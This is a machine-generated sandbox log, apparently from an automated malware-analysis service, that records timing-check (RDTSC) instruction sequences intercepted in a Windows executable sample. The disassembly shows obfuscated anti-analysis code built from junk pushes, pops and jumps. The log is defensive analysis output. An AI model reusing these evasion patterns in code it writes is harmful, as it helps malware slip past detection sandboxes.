Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C204F8 second address: 4C204FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C204FE second address: 4C20502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C20502 second address: 4C20506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C30227 second address: 4C30254 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED559h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD1807ED54Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C30254 second address: 4C302B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C161h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov si, di 0x0000000e mov edi, 29700ACEh 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 jmp 00007FD180B5C165h 0x0000001a mov ebp, esp 0x0000001c jmp 00007FD180B5C15Eh 0x00000021 pop ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FD180B5C167h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C70021 second address: 4C7008E instructions: 0x00000000 rdtsc 0x00000002 mov edi, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cl, FCh 0x00000008 popad 0x00000009 push ebx 0x0000000a jmp 00007FD1807ED54Ch 0x0000000f mov dword ptr [esp], ebp 0x00000012 pushad 0x00000013 movzx esi, di 0x00000016 pushfd 0x00000017 jmp 00007FD1807ED553h 0x0000001c and al, 0000001Eh 0x0000001f jmp 00007FD1807ED559h 0x00000024 popfd 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FD1807ED558h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C7008E second address: 4C70092 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C70092 second address: 4C70098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C70098 second address: 4C700C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 call 00007FD180B5C168h 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov cx, 60F9h 0x00000017 mov di, si 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C40392 second address: 4C403E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 mov dh, DEh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FD1807ED558h 0x00000012 add esi, 5C138878h 0x00000018 jmp 00007FD1807ED54Bh 0x0000001d popfd 0x0000001e mov ecx, 709093AFh 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FD1807ED550h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C403E2 second address: 4C40431 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov edx, esi 0x0000000d call 00007FD180B5C160h 0x00000012 mov dl, al 0x00000014 pop edi 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 jmp 00007FD180B5C15Ah 0x0000001d mov eax, dword ptr [ebp+08h] 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FD180B5C167h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C40431 second address: 4C4046F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 pushfd 0x00000007 jmp 00007FD1807ED54Bh 0x0000000c add ecx, 5E5BE85Eh 0x00000012 jmp 00007FD1807ED559h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b and dword ptr [eax], 00000000h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C4046F second address: 4C40473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C40473 second address: 4C40479 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C40479 second address: 4C4047F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C4047F second address: 4C40483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C40483 second address: 4C40487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C40487 second address: 4C404BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax+04h], 00000000h 0x0000000c jmp 00007FD1807ED558h 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD1807ED54Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C404BA second address: 4C404BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C404BE second address: 4C404C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C20608 second address: 4C2067E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 mov bh, 37h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FD180B5C15Dh 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 mov cl, F1h 0x00000015 pushfd 0x00000016 jmp 00007FD180B5C169h 0x0000001b jmp 00007FD180B5C15Bh 0x00000020 popfd 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 jmp 00007FD180B5C166h 0x00000029 pop ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FD180B5C167h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C2067E second address: 4C20684 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C20684 second address: 4C20688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C606C5 second address: 4C606C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C606C9 second address: 4C606CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C606CF second address: 4C606D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C606D4 second address: 4C606FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FD180B5C160h 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD180B5C15Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C606FB second address: 4C6070A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED54Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C6070A second address: 4C60722 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD180B5C164h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C60722 second address: 4C6075B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov esi, 65D86F6Fh 0x00000011 pushfd 0x00000012 jmp 00007FD1807ED554h 0x00000017 sbb ecx, 555AAF98h 0x0000001d jmp 00007FD1807ED54Bh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C6075B second address: 4C60761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C60761 second address: 4C60765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C60765 second address: 4C60795 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007FD180B5C166h 0x00000012 xchg eax, ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C60795 second address: 4C60799 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C60799 second address: 4C6079F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C6079F second address: 4C607BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED554h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C607BE second address: 4C607C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C607C2 second address: 4C607C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C607C6 second address: 4C607CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C607CC second address: 4C6081B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED54Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b jmp 00007FD1807ED554h 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FD1807ED550h 0x00000017 or ecx, 61135848h 0x0000001d jmp 00007FD1807ED54Bh 0x00000022 popfd 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C6081B second address: 4C608A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [76FB65FCh] 0x0000000b pushad 0x0000000c call 00007FD180B5C162h 0x00000011 mov ch, 39h 0x00000013 pop edi 0x00000014 pushfd 0x00000015 jmp 00007FD180B5C15Ch 0x0000001a or ecx, 16A3FDD8h 0x00000020 jmp 00007FD180B5C15Bh 0x00000025 popfd 0x00000026 popad 0x00000027 test eax, eax 0x00000029 jmp 00007FD180B5C166h 0x0000002e je 00007FD1F2E2F248h 0x00000034 jmp 00007FD180B5C160h 0x00000039 mov ecx, eax 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FD180B5C167h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C608A5 second address: 4C608CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED559h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C608CB second address: 4C608CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C608CF second address: 4C608D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C608D5 second address: 4C608FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c pushad 0x0000000d push esi 0x0000000e mov ecx, edx 0x00000010 pop edx 0x00000011 popad 0x00000012 ror eax, cl 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FD180B5C15Bh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C608FE second address: 4C60902 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C60902 second address: 4C60908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C60908 second address: 4C6094B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD1807ED552h 0x00000008 call 00007FD1807ED552h 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 leave 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD1807ED553h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C6094B second address: 4C6094F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C6094F second address: 4C60955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10034 second address: 4C10048 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD180B5C160h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10148 second address: 4C10177 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD1807ED558h 0x00000009 and cx, D088h 0x0000000e jmp 00007FD1807ED54Bh 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10177 second address: 4C1020A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FD180B5C15Fh 0x0000000d xchg eax, esi 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FD180B5C164h 0x00000015 add eax, 7E982618h 0x0000001b jmp 00007FD180B5C15Bh 0x00000020 popfd 0x00000021 push esi 0x00000022 pushad 0x00000023 popad 0x00000024 pop ebx 0x00000025 popad 0x00000026 mov esi, dword ptr [ebp+08h] 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FD180B5C15Dh 0x00000032 adc cx, 87B6h 0x00000037 jmp 00007FD180B5C161h 0x0000003c popfd 0x0000003d pushfd 0x0000003e jmp 00007FD180B5C160h 0x00000043 sbb ax, AAD8h 0x00000048 jmp 00007FD180B5C15Bh 0x0000004d popfd 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C1020A second address: 4C10280 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 mov di, F3C6h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esp 0x0000000d jmp 00007FD1807ED54Ah 0x00000012 mov dword ptr [esp], edi 0x00000015 pushad 0x00000016 mov eax, 48F1454Dh 0x0000001b pushfd 0x0000001c jmp 00007FD1807ED54Ah 0x00000021 and ch, 00000068h 0x00000024 jmp 00007FD1807ED54Bh 0x00000029 popfd 0x0000002a popad 0x0000002b test esi, esi 0x0000002d jmp 00007FD1807ED556h 0x00000032 je 00007FD1F2B0B8FEh 0x00000038 jmp 00007FD1807ED550h 0x0000003d cmp dword ptr [esi+08h], DDEEDDEEh 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10280 second address: 4C1029D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C169h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C1029D second address: 4C102C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED551h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FD1F2B0B8BFh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD1807ED54Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C102C5 second address: 4C102CF instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C102CF second address: 4C10310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov edx, dword ptr [esi+44h] 0x00000009 pushad 0x0000000a jmp 00007FD1807ED555h 0x0000000f mov dx, si 0x00000012 popad 0x00000013 or edx, dword ptr [ebp+0Ch] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FD1807ED559h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10310 second address: 4C10344 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C161h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edx, 61000000h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FD180B5C163h 0x00000017 mov edx, eax 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10344 second address: 4C1034A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C008F5 second address: 4C0097F instructions: 0x00000000 rdtsc 0x00000002 call 00007FD180B5C164h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov ebp, esp 0x0000000d jmp 00007FD180B5C161h 0x00000012 and esp, FFFFFFF8h 0x00000015 jmp 00007FD180B5C15Eh 0x0000001a xchg eax, ebx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FD180B5C15Eh 0x00000022 sub eax, 3E643188h 0x00000028 jmp 00007FD180B5C15Bh 0x0000002d popfd 0x0000002e mov ebx, esi 0x00000030 popad 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007FD180B5C15Eh 0x0000003b and ecx, 66F713E8h 0x00000041 jmp 00007FD180B5C15Bh 0x00000046 popfd 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C0097F second address: 4C0099F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED555h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C0099F second address: 4C009A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C009A3 second address: 4C009A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C009A9 second address: 4C009C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C162h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edi, ax 0x00000010 push eax 0x00000011 pop ebx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C009C9 second address: 4C00A26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD1807ED551h 0x00000008 mov edi, eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 mov edi, 0C63314Ch 0x00000015 jmp 00007FD1807ED555h 0x0000001a popad 0x0000001b push ecx 0x0000001c mov cx, dx 0x0000001f pop edi 0x00000020 popad 0x00000021 xchg eax, esi 0x00000022 jmp 00007FD1807ED556h 0x00000027 mov esi, dword ptr [ebp+08h] 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov esi, edi 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C00A26 second address: 4C00AF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C165h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b pushad 0x0000000c push edx 0x0000000d call 00007FD180B5C168h 0x00000012 pop esi 0x00000013 pop ebx 0x00000014 pushad 0x00000015 call 00007FD180B5C15Eh 0x0000001a pop ecx 0x0000001b movsx edx, ax 0x0000001e popad 0x0000001f popad 0x00000020 test esi, esi 0x00000022 pushad 0x00000023 jmp 00007FD180B5C168h 0x00000028 pushfd 0x00000029 jmp 00007FD180B5C162h 0x0000002e adc al, 00000048h 0x00000031 jmp 00007FD180B5C15Bh 0x00000036 popfd 0x00000037 popad 0x00000038 je 00007FD1F2E81A34h 0x0000003e pushad 0x0000003f pushfd 0x00000040 jmp 00007FD180B5C164h 0x00000045 add cx, BBA8h 0x0000004a jmp 00007FD180B5C15Bh 0x0000004f popfd 0x00000050 movzx eax, dx 0x00000053 popad 0x00000054 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e push ecx 0x0000005f pop edx 0x00000060 mov ebx, eax 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C00AF0 second address: 4C00B53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD1807ED54Bh 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ecx, esi 0x0000000e jmp 00007FD1807ED552h 0x00000013 je 00007FD1F2B12DD3h 0x00000019 jmp 00007FD1807ED550h 0x0000001e test byte ptr [76FB6968h], 00000002h 0x00000025 pushad 0x00000026 mov ax, 522Dh 0x0000002a popad 0x0000002b jne 00007FD1F2B12DC3h 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FD1807ED552h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C00B53 second address: 4C00B65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD180B5C15Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C00B65 second address: 4C00B69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C00B69 second address: 4C00BA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c mov eax, ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007FD180B5C15Fh 0x00000016 add ax, DE6Eh 0x0000001b jmp 00007FD180B5C169h 0x00000020 popfd 0x00000021 rdtsc
